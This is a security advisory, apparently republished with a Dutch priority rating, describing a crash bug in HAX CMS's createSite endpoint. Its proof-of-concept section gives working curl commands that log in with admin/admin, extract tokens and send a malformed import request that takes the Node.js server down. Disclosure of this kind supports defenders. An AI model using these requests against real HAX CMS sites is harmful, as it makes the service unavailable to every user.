HAX CMS: Denial of Service using Malicious Import Request

Laag (34/100): monitoren. Zwaarst wegend: technische ernst en betrouwbaarheid van het signaal.

De priority_score is de Action Urgency Score: een gewogen combinatie van de technische ernst, de exploitatie en de gemeentelijke relevantie.

### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.